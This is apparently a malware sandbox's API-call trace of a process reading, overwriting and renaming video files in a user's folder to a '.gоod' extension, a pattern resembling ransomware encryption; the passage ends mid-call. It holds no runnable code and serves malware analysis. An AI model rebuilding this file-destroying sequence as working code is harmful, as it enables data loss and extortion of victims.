[0161.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0161.052] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\44_vchs.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0161.052] GetFileType (hFile=0x61c) returned 0x1 [0161.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0161.052] GetFileType (hFile=0x61c) returned 0x1 [0161.052] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x96de [0161.052] WriteFile (in: hFile=0x61c, lpBuffer=0x35fb1a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x35fb1a8*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0161.052] CloseHandle (hObject=0x61c) returned 1 [0161.052] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi", lpFilePart=0x0) returned 0x35 [0161.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0161.053] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\44_vchs.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0161.053] GetFileType (hFile=0x61c) returned 0x1 [0161.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0161.053] GetFileType (hFile=0x61c) returned 0x1 [0161.053] ReadFile (in: hFile=0x61c, lpBuffer=0x35fd440, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x35fd440*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0162.376] CloseHandle (hObject=0x61c) returned 1 [0162.376] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi", lpFilePart=0x0) returned 0x35 [0162.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0162.376] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\44_vchs.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0162.376] GetFileType (hFile=0x61c) returned 0x1 [0162.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0162.376] GetFileType (hFile=0x61c) returned 0x1 [0162.376] WriteFile (in: hFile=0x61c, lpBuffer=0x34e7360*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x34e7360*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0162.376] CloseHandle (hObject=0x61c) returned 1 [0162.376] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi", lpFilePart=0x0) returned 0x35 [0162.376] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi.gоod", lpFilePart=0x0) returned 0x3a [0162.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0162.376] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\44_vchs.avi"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f87d20, ftCreationTime.dwHighDateTime=0x1d4c8ee, ftLastAccessTime.dwLowDateTime=0x213a0730, ftLastAccessTime.dwHighDateTime=0x1d4c810, ftLastWriteTime.dwLowDateTime=0x5cfecd07, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x96ee)) returned 1 [0162.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0162.377] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\44_vchs.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\44_Vchs.avi.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\44_vchs.avi.gоod")) returned 1 [0162.377] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv", lpFilePart=0x0) returned 0x3b [0162.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0162.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\8khvvps2a2wok.flv"), fInfoLevelId=0x0, lpFileInformation=0x3756d40 | out: lpFileInformation=0x3756d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6be553e0, ftCreationTime.dwHighDateTime=0x1d4c9b2, ftLastAccessTime.dwLowDateTime=0x96302690, ftLastAccessTime.dwHighDateTime=0x1d4ccb2, ftLastWriteTime.dwLowDateTime=0x96302690, ftLastWriteTime.dwHighDateTime=0x1d4ccb2, nFileSizeHigh=0x0, nFileSizeLow=0x113e5)) returned 1 [0162.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0162.378] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv", lpFilePart=0x0) returned 0x3b [0162.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0162.378] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\8khvvps2a2wok.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0162.378] GetFileType (hFile=0x61c) returned 0x1 [0162.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0162.378] GetFileType (hFile=0x61c) returned 0x1 [0162.378] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0162.378] ReadFile (in: hFile=0x61c, lpBuffer=0x3757138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3757138*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0162.378] CloseHandle (hObject=0x61c) returned 1 [0162.378] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv", lpFilePart=0x0) returned 0x3b [0162.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0162.378] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\8khvvps2a2wok.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0162.379] GetFileType (hFile=0x61c) returned 0x1 [0162.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0162.379] GetFileType (hFile=0x61c) returned 0x1 [0162.379] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x113e5 [0162.379] WriteFile (in: hFile=0x61c, lpBuffer=0x37583c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x37583c0*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0162.379] CloseHandle (hObject=0x61c) returned 1 [0162.379] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv", lpFilePart=0x0) returned 0x3b [0162.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0162.379] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\8khvvps2a2wok.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0162.379] GetFileType (hFile=0x61c) returned 0x1 [0162.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0162.379] GetFileType (hFile=0x61c) returned 0x1 [0162.379] ReadFile (in: hFile=0x61c, lpBuffer=0x375a670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x375a670*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0163.134] CloseHandle (hObject=0x61c) returned 1 [0163.134] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv", lpFilePart=0x0) returned 0x3b [0163.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.134] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\8khvvps2a2wok.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.134] GetFileType (hFile=0x61c) returned 0x1 [0163.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.134] GetFileType (hFile=0x61c) returned 0x1 [0163.134] WriteFile (in: hFile=0x61c, lpBuffer=0x32d7280*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x32d7280*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0163.134] CloseHandle (hObject=0x61c) returned 1 [0163.134] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv", lpFilePart=0x0) returned 0x3b [0163.134] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv.gоod", lpFilePart=0x0) returned 0x40 [0163.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0163.134] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\8khvvps2a2wok.flv"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6be553e0, ftCreationTime.dwHighDateTime=0x1d4c9b2, ftLastAccessTime.dwLowDateTime=0x96302690, ftLastAccessTime.dwHighDateTime=0x1d4ccb2, ftLastWriteTime.dwLowDateTime=0x5d73a071, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x113f5)) returned 1 [0163.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0163.135] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\8khvvps2a2wok.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\8KhVVpS2A2WoK.flv.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\8khvvps2a2wok.flv.gоod")) returned 1 [0163.135] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv", lpFilePart=0x0) returned 0x32 [0163.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0163.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\pxnp.flv"), fInfoLevelId=0x0, lpFileInformation=0x3335c70 | out: lpFileInformation=0x3335c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b802ae0, ftCreationTime.dwHighDateTime=0x1d4cfe4, ftLastAccessTime.dwLowDateTime=0x66d05ef0, ftLastAccessTime.dwHighDateTime=0x1d4d1b3, ftLastWriteTime.dwLowDateTime=0x66d05ef0, ftLastWriteTime.dwHighDateTime=0x1d4d1b3, nFileSizeHigh=0x0, nFileSizeLow=0x11764)) returned 1 [0163.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0163.135] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv", lpFilePart=0x0) returned 0x32 [0163.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.136] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\pxnp.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.136] GetFileType (hFile=0x61c) returned 0x1 [0163.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.136] GetFileType (hFile=0x61c) returned 0x1 [0163.136] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0163.136] ReadFile (in: hFile=0x61c, lpBuffer=0x3336028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3336028*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0163.136] CloseHandle (hObject=0x61c) returned 1 [0163.136] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv", lpFilePart=0x0) returned 0x32 [0163.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.136] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\pxnp.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.136] GetFileType (hFile=0x61c) returned 0x1 [0163.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.136] GetFileType (hFile=0x61c) returned 0x1 [0163.136] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x11764 [0163.137] WriteFile (in: hFile=0x61c, lpBuffer=0x3337290*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3337290*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0163.137] CloseHandle (hObject=0x61c) returned 1 [0163.137] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv", lpFilePart=0x0) returned 0x32 [0163.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.137] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\pxnp.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.137] GetFileType (hFile=0x61c) returned 0x1 [0163.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.137] GetFileType (hFile=0x61c) returned 0x1 [0163.137] ReadFile (in: hFile=0x61c, lpBuffer=0x3339520, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3339520*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0163.370] CloseHandle (hObject=0x61c) returned 1 [0163.370] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv", lpFilePart=0x0) returned 0x32 [0163.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\pxnp.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.370] GetFileType (hFile=0x61c) returned 0x1 [0163.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.371] GetFileType (hFile=0x61c) returned 0x1 [0163.371] WriteFile (in: hFile=0x61c, lpBuffer=0x3302848*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3302848*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0163.371] CloseHandle (hObject=0x61c) returned 1 [0163.371] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv", lpFilePart=0x0) returned 0x32 [0163.371] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv.gоod", lpFilePart=0x0) returned 0x37 [0163.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0163.371] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\pxnp.flv"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b802ae0, ftCreationTime.dwHighDateTime=0x1d4cfe4, ftLastAccessTime.dwLowDateTime=0x66d05ef0, ftLastAccessTime.dwHighDateTime=0x1d4d1b3, ftLastWriteTime.dwLowDateTime=0x5d9761dd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11774)) returned 1 [0163.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0163.371] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\pxnp.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\pXnP.flv.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\pxnp.flv.gоod")) returned 1 [0163.372] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4", lpFilePart=0x0) returned 0x41 [0163.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0163.372] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\t-yoldelsjrkuav63im.mp4"), fInfoLevelId=0x0, lpFileInformation=0x33b7800 | out: lpFileInformation=0x33b7800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a7fcd0, ftCreationTime.dwHighDateTime=0x1d4d36e, ftLastAccessTime.dwLowDateTime=0xd30029d0, ftLastAccessTime.dwHighDateTime=0x1d4c910, ftLastWriteTime.dwLowDateTime=0xd30029d0, ftLastWriteTime.dwHighDateTime=0x1d4c910, nFileSizeHigh=0x0, nFileSizeLow=0xc9af)) returned 1 [0163.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0163.372] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4", lpFilePart=0x0) returned 0x41 [0163.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.372] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\t-yoldelsjrkuav63im.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.373] GetFileType (hFile=0x61c) returned 0x1 [0163.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.373] GetFileType (hFile=0x61c) returned 0x1 [0163.373] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0163.373] ReadFile (in: hFile=0x61c, lpBuffer=0x33b7c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x33b7c28*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0163.373] CloseHandle (hObject=0x61c) returned 1 [0163.373] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: 